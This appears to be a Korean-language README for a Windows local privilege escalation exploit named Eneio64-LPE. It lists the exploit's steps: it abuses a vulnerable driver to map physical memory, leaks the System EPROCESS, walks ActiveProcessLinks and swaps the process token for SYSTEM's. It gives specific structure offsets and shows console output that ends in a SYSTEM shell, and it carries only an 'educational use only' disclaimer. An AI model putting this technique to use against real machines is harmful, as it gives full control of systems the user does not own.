취약한 드라이버에 대한 핸들을 엽니다
물리 메모리를 사용자 공간에 매핑합니다
System 프로세스에 대한 핸들을 엽니다
현재 프로세스의 SystemHandleInformation 테이블을 쿼리하여 얻은 시스템 핸들에서 EPROCESS 주소를 유출합니다.
System EPROCESS의 ActiveProcessLinks flink를 따라가며 현재 프로세스의 PID를 찾을 때까지 탐색합니다.
현재 프로세스의 토큰을 System 프로세스의 토큰으로 패치합니다
새 powershell 프로세스를 생성합니다.

가상 주소를 물리 주소로 변환하기 위해 CR3 유출 및 페이지 테이블 탐색 대신 superfetch 방식을 사용합니다.

Win11 21H2에서 테스트됨

C:\Users\Public>.\Eneio64-LPE.exe
[+] Total physical memory: ~0x7fef2000 bytes
[+] Mapped physical memory at 000002A3A4FC0000
[+] Leaking System EPROCESS
[+] Opened handle to SYSTEM process (PID 4)
>    Current PID:  3932
>    Handle value: 0x5c
[+] Querying SystemHandleInformation table of current process
[+] Handle table queried successfully
>    Buffer size:    1048576 bytes
>    Resize rounds:  15
>    Total handles:  29211
[+] Searching for handle 0x5c in handle table
[+] Match found at index 29183 / 29211
>    PID:                      3932
>    Handle:                   0x5c
>    Object (System EPROCESS): 0xffff858ca1885040
[+] Searching for current process token. Walking ActiveProcessLinks from System Flink (System EPROCESS + 0x448) to current PID
[+] Next Flink addr - 0x448 = Next EPROCESS
[+] Found current process (PID 3932) token at [0x72cd25f8]
[+] Patching current token with SYSTEM token
[!] ==== Flink addr of current PID - EPROCESS ActiveProcessLinks Offset (0x448) + EPROCESS Token Offset (0x4B8) = Current Token ====
[+] Token replaced.
Microsoft Windows [Version 10.0.20348.2849]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Public>whoami
nt authority\system

교육 목적으로만 사용하세요!

Eneio64-LPE

인기